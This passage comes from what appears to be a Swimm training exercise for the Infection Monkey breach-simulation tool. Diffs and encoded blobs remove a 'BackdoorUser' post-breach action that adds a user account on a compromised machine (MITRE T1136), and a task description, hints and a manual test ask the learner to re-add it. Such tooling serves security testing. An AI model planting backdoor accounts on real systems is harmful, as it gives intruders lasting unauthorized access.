fQlJFQUNIX0JBQ0tET09SX1VTRVIlMkMlMjBQT1NUX0JSRUFDSF9DT01NVU5JQ0FURV9BU19ORVdfVVNFUiU1RCUwQSUyQiUyMCUyMCUyMCUyMHBiYV9uYW1lcyUyMCUzRCUyMCU1QlBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTVEJTBBZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmRlZmluaXRpb25zJTJGcG9zdF9icmVhY2hfYWN0aW9ucy5weSUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEFpbmRleCUyMGYzZTJhOWJmLi4yYzRhYTY2NCUyMDEwMDY0NCUwQS0tLSUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGZGVmaW5pdGlvbnMlMkZwb3N0X2JyZWFjaF9hY3Rpb25zLnB5JTBBJTQwJTQwJTIwLTQlMkMxNSUyMCUyQjQlMkM3JTIwJTQwJTQwJTIwUE9TVF9CUkVBQ0hfQUNUSU9OUyUyMCUzRCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMm1pZ2h0JTIwZG8lMjBhZnRlciUyMGJyZWFjaGluZyUyMGElMjBuZXclMjBtYWNoaW5lLiUyMFVzZWQlMjBpbiUyMEFUVCUyNkNLJTIwYW5kJTIwWmVybyUyMHRydXN0JTIwcmVwb3J0cy4lMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjJ0eXBlJTIyJTNBJTIwJTIyc3RyaW5nJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIyYW55T2YlMjIlM0ElMjAlNUIlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdCJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnR5cGUlMjIlM0ElMjAlMjJzdHJpbmclMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyZW51bSUyMiUzQSUyMCU1QiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJCYWNrZG9vclVzZXIlMjIlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVEJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnRpdGxlJTIyJTNBJTIwJTIyQmFjayUyMGRvb3IlMjB1c2VyJTIyJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMmluZm8lMjIlM0ElMjAlMjJBdHRlbXB0cyUyMHRvJTIwY3JlYXRlJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMHN5c3RlbSUyMGFuZCUyMGRlbGV0ZSUyMGl0JTIwYWZ0ZXJ3YXJkcy4lMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyYXR0YWNrX3RlY2huaXF1ZXMlMjIlM0ElMjAlNUIlMjJUMTEzNiUyMiU1RCUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMEElMkIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjMlMjBTd2ltbWVyJTNBJTIwQWRkJTIwbmV3JTIwUEJBJTIwaGVyZSUyMHRvJTIwY29uZmlnISUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnR5cGUlMjIlM0ElMjAlMjJzdHJpbmclMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJlbnVtJTIyJTNBJTIwJTVCJTBB", + "dod": "You should add a new PBA to the Monkey which creates a new user on the machine.", + "description": "Read [our documentation about adding a new PBA](https://www.guardicore.com/infectionmonkey/docs/development/adding-post-breach-actions/).\n\nAfter that we want you to add the BackdoorUser PBA. The commands that add users for Win and Linux can be retrieved from `get_commands_to_add_user` - make sure you see how to use this function correctly. \n\nNote that the PBA should impact the T1136 MITRE technique as well! \n\n# Manual test to confirm\n\n1. Run the Monkey Island\n2. Make sure your new PBA is enabled by default in the config - for this test, disable network scanning, exploiting, and all other PBAs\n3. Run Monkey\n4. See the PBA in the security report\n5, See the PBA in the MITRE report in the relevant technique\n", + "summary": "Take a look at the configuration of the island again - see the \"command to run after breach\" option we offer the user? It's implemented exactly like you did right now but each user can do it for themselves. \n\nHowever, what if the PBA needs to do stuff which is more complex than just running a few commands? In that case... ", + "diff": "diff --git a/monkey/common/data/post_breach_consts.py b/monkey/common/data/post_breach_consts.py\nindex c3bba995..031f9ad0 100644\n--- a/monkey/common/data/post_breach_consts.py\n+++ b/monkey/common/data/post_breach_consts.py\n@@ -1,5 +1,5 @@\n POST_BREACH_COMMUNICATE_AS_NEW_USER = \"Communicate as new user\"\n-POST_BREACH_BACKDOOR_USER = \"Backdoor user\"\n+# Swimmer: PUT THE NEW CONST HERE!\n POST_BREACH_FILE_EXECUTION = \"File execution\"\n POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION = \"Modify shell startup file\"\n POST_BREACH_HIDDEN_FILES = \"Hide files and directories\"\ndiff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py\nindex 58be89a1..d8476a97 100644\n--- a/monkey/infection_monkey/post_breach/actions/add_user.py\n+++ b/monkey/infection_monkey/post_breach/actions/add_user.py\n@@ -1,15 +1,7 @@\n-from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER\n-from infection_monkey.config import WormConfiguration\n from infection_monkey.post_breach.pba import PBA\n from infection_monkey.utils.users import get_commands_to_add_user\n \n \n class BackdoorUser(PBA):\n def __init__(self):\n- linux_cmds, windows_cmds = get_commands_to_add_user(\n+ pass # Swimmer: Impl here!\n- WormConfiguration.user_to_add,\n- WormConfiguration.remote_user_pass)\n- super(BackdoorUser, self).__init__(\n- POST_BREACH_BACKDOOR_USER,\n- linux_cmd=' '.join(linux_cmds),\n- windows_cmd=windows_cmds)\ndiff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py\nindex 086a1c13..da99e86c 100644\n--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py\n+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py\n@@ -1,5 +1,5 @@\n from common.data.post_breach_consts import (\n- POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER)\n+ POST_BREACH_COMMUNICATE_AS_NEW_USER)\n from monkey_island.cc.services.attack.technique_reports.pba_technique import \\\n PostBreachTechnique\n \n@@ -11,4 +11,4 @@\n unscanned_msg = \"Monkey didn't try creating a new user on the network's systems.\"\n scanned_msg = \"Monkey tried creating a new user on the network's systems, but failed.\"\n used_msg = \"Monkey created a new user on the network's systems.\"\n- pba_names = [POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER]\n+ pba_names = [POST_BREACH_COMMUNICATE_AS_NEW_USER]\ndiff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py\nindex f3e2a9bf..2c4aa664 100644\n--- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py\n+++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py\n@@ -4,16 +4,7 @@\n \"might do after breaching a new machine. Used in ATT&CK and Zero trust reports.\",\n \"type\": \"string\",\n \"anyOf\": [\n- {\n+ # Swimmer: Add new PBA here to config!\n- \"type\": \"string\",\n- \"enum\": [\n- \"BackdoorUser\"\n- ],\n- \"title\": \"Back door user\",\n- \"safe\": True,\n- \"info\": \"Attempts to create a new user on the system and delete it afterwards.\",\n- \"attack_techniques\": [\"T1136\"]\n- },\n {\n \"type\": \"string\",\n \"enum\": [\n", "tests": [], "hints": [ "See `ScheduleJobs` PBA for an example of a PBA which only uses shell commands.", "Make sure to add the PBA to the configuration as well.", "MITRE ATT&CK technique T1136 articulates that adversaries may create an account to maintain access to victim systems, therefore, the BackdoorUser PBA is relevant to it. Make sure to map this PBA to the MITRE ATT&CK configuration and report." ], - "files": { + "app_version": "0.3.2", + "file_version": "1.0.4", + "swimmPatch": { "monkey/common/data/post_breach_consts.py": { - "index": [ - "c3bba995..031f9ad0", - "100644" - ], - "fileA": "monkey/common/data/post_breach_consts.py", - "fileB": "monkey/common/data/post_breach_consts.py", - "status": "MODIFIED", - "numLineDeletions": 1, - "numLineAdditions": 1, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTIwJTNEJTIwJTVDJTIyQ29tbXVuaWNhdGUlMjBhcyUyMG5ldyUyMHVzZXIlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExJTJDJTIyYiUyMiUzQTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyMCUzRCUyMCU1QyUyMkJhY2tkb29yJTIwdXNlciU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyYWRkJTIyJTJDJTIybWFyayUyMiUzQSUyMiUyQiUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjMlMjBTd2ltbWVyJTNBJTIwUFVUJTIwVEhFJTIwTkVXJTIwQ09OU1QlMjBIRVJFISUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYiUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBQT1NUX0JSRUFDSF9GSUxFX0VYRUNVVElPTiUyMCUzRCUyMCU1QyUyMkZpbGUlMjBleGVjdXRpb24lNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0EzJTJDJTIyYiUyMiUzQTMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBQT1NUX0JSRUFDSF9TSEVMTF9TVEFSVFVQX0ZJTEVfTU9ESUZJQ0FUSU9OJTIwJTNEJTIwJTVDJTIyTW9kaWZ5JTIwc2hlbGwlMjBzdGFydHVwJTIwZmlsZSU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQlMkMlMjJiJTIyJTNBNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMFBPU1RfQlJFQUNIX0hJRERFTl9GSUxFUyUyMCUzRCUyMCU1QyUyMkhpZGUlMjBmaWxlcyUyMGFuZCUyMGRpcmVjdG9yaWVzJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNSUyQyUyMmIlMjIlM0E1JTdEJTdEJTVEJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E1JTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTElMkMlMjJsaW5lc0NvdW50JTIyJTNBNSU3RCU3RCU3RCU3RA==" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/common/data/post_breach_consts.py b/monkey/common/data/post_breach_consts.py\nindex c3bba995..031f9ad0 100644\n--- a/monkey/common/data/post_breach_consts.py\n+++ b/monkey/common/data/post_breach_consts.py", + "hunks": [ + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -1,5 +1,5 @@", + " POST_BREACH_COMMUNICATE_AS_NEW_USER = \"Communicate as new user\"", + "-POST_BREACH_BACKDOOR_USER = \"Backdoor user\"", + "+# Swimmer: PUT THE NEW CONST HERE!", + " POST_BREACH_FILE_EXECUTION = \"File execution\"", + " POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION = \"Modify shell startup file\"", + " POST_BREACH_HIDDEN_FILES = \"Hide files and directories\"" + ] + } ] }, "monkey/infection_monkey/post_breach/actions/add_user.py": { - "index": [ - "58be89a1..d8476a97", - "100644" - ], - "fileA": "monkey/infection_monkey/post_breach/actions/add_user.py", - "fileB": "monkey/infection_monkey/post_breach/actions/add_user.py", - "status": "MODIFIED", - "numLineDeletions": 9, - "numLineAdditions": 1, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDMTUlMjAlMkIxJTJDNyUyMCU0MCU0MCUyMiUyQyUyMmNoYW5nZXMlMjIlM0ElNUIlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyZnJvbSUyMGNvbW1vbi5kYXRhLnBvc3RfYnJlYWNoX2NvbnN0cyUyMGltcG9ydCUyMFBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMmZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LmNvbmZpZyUyMGltcG9ydCUyMFdvcm1Db25maWd1cmF0aW9uJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LnBvc3RfYnJlYWNoLnBiYSUyMGltcG9ydCUyMFBCQSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTMlMkMlMjJiJTIyJTNBMSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LnV0aWxzLnVzZXJzJTIwaW1wb3J0JTIwZ2V0X2NvbW1hbmRzX3RvX2FkZF91c2VyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNCUyQyUyMmIlMjIlM0EyJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNSUyQyUyMmIlMjIlM0EzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNiUyQyUyMmIlMjIlM0E0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwY2xhc3MlMjBCYWNrZG9vclVzZXIoUEJBKSUzQSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTclMkMlMjJiJTIyJTNBNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMGRlZiUyMF9faW5pdF9fKHNlbGYpJTNBJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBOCUyQyUyMmIlMjIlM0E2JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGxpbnV4X2NtZHMlMkMlMjB3aW5kb3dzX2NtZHMlMjAlM0QlMjBnZXRfY29tbWFuZHNfdG9fYWRkX3VzZXIoJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBOSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBXb3JtQ29uZmlndXJhdGlvbi51c2VyX3RvX2FkZCUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFdvcm1Db25maWd1cmF0aW9uLnJlbW90ZV91c2VyX3Bhc3MpJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwc3VwZXIoQmFja2Rvb3JVc2VyJTJDJTIwc2VsZikuX19pbml0X18oJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGxpbnV4X2NtZCUzRCclMjAnLmpvaW4obGludXhfY21kcyklMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjB3aW5kb3dzX2NtZCUzRHdpbmRvd3NfY21kcyklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTIyJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHBhc3MlMjAlMjAlMjMlMjBTd2ltbWVyJTNBJTIwSW1wbCUyMGhlcmUhJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBNyU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTElMkMlMjJsaW5lc0NvdW50JTIyJTNBMTUlN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E3JTdEJTdEJTdEJTdE" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py\nindex 58be89a1..d8476a97 100644\n--- a/monkey/infection_monkey/post_breach/actions/add_user.py\n+++ b/monkey/infection_monkey/post_breach/actions/add_user.py", + "hunks": [ + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -1,15 +1,7 @@", + "-from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER", + "-from infection_monkey.config import WormConfiguration", + " from infection_monkey.post_breach.pba import PBA", + " from infection_monkey.utils.users import get_commands_to_add_user", + " ", + " ", + " class BackdoorUser(PBA):", + " def __init__(self):", + "- linux_cmds, windows_cmds = get_commands_to_add_user(", + "+ pass # Swimmer: Impl here!", + "- WormConfiguration.user_to_add,", + "- WormConfiguration.remote_user_pass)", + "- super(BackdoorUser, self).__init__(", + "- POST_BREACH_BACKDOOR_USER,", + "- linux_cmd=' '.join(linux_cmds),", + "- windows_cmd=windows_cmds)" + ] + } ] }, "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py": { - "index": [ - "086a1c13..da99e86c", - "100644" - ], - "fileA": "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py", - "fileB": "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py", - "status": "MODIFIED", - "numLineDeletions": 2, - "numLineAdditions": 2, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBjb21tb24uZGF0YS5wb3N0X2JyZWFjaF9jb25zdHMlMjBpbXBvcnQlMjAoJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMSUyQyUyMmIlMjIlM0ExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMFBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMkMlMjBQT1NUX0JSRUFDSF9DT01NVU5JQ0FURV9BU19ORVdfVVNFUiklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0EyJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmFkZCUyMiUyQyUyMm1hcmslMjIlM0ElMjIlMkIlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwUE9TVF9CUkVBQ0hfQ09NTVVOSUNBVEVfQVNfTkVXX1VTRVIpJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBtb25rZXlfaXNsYW5kLmNjLnNlcnZpY2VzLmF0dGFjay50ZWNobmlxdWVfcmVwb3J0cy5wYmFfdGVjaG5pcXVlJTIwaW1wb3J0JTIwJTVDJTVDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMyUyQyUyMmIlMjIlM0EzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwUG9zdEJyZWFjaFRlY2huaXF1ZSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQlMkMlMjJiJTIyJTNBNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTUlMkMlMjJiJTIyJTNBNSU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTElMkMlMjJsaW5lc0NvdW50JTIyJTNBNSU3RCUyQyUyMmIlMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExJTJDJTIybGluZXNDb3VudCUyMiUzQTUlN0QlN0QlN0QlN0Q=", - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xMSUyQzQlMjAlMkIxMSUyQzQlMjAlNDAlNDAlMjBjbGFzcyUyMFQxMTM2KFBvc3RCcmVhY2hUZWNobmlxdWUpJTNBJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMHVuc2Nhbm5lZF9tc2clMjAlM0QlMjAlNUMlMjJNb25rZXklMjBkaWRuJ3QlMjB0cnklMjBjcmVhdGluZyUyMGElMjBuZXclMjB1c2VyJTIwb24lMjB0aGUlMjBuZXR3b3JrJ3MlMjBzeXN0ZW1zLiU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTExJTJDJTIyYiUyMiUzQTExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwc2Nhbm5lZF9tc2clMjAlM0QlMjAlNUMlMjJNb25rZXklMjB0cmllZCUyMGNyZWF0aW5nJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMlMkMlMjBidXQlMjBmYWlsZWQuJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTIlMkMlMjJiJTIyJTNBMTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjB1c2VkX21zZyUyMCUzRCUyMCU1QyUyMk1vbmtleSUyMGNyZWF0ZWQlMjBhJTIwbmV3JTIwdXNlciUyMG9uJTIwdGhlJTIwbmV0d29yaydzJTIwc3lzdGVtcy4lNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMyUyQyUyMmIlMjIlM0ExMyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjBwYmFfbmFtZXMlMjAlM0QlMjAlNUJQT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTJDJTIwUE9TVF9CUkVBQ0hfQ09NTVVOSUNBVEVfQVNfTkVXX1VTRVIlNUQlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTI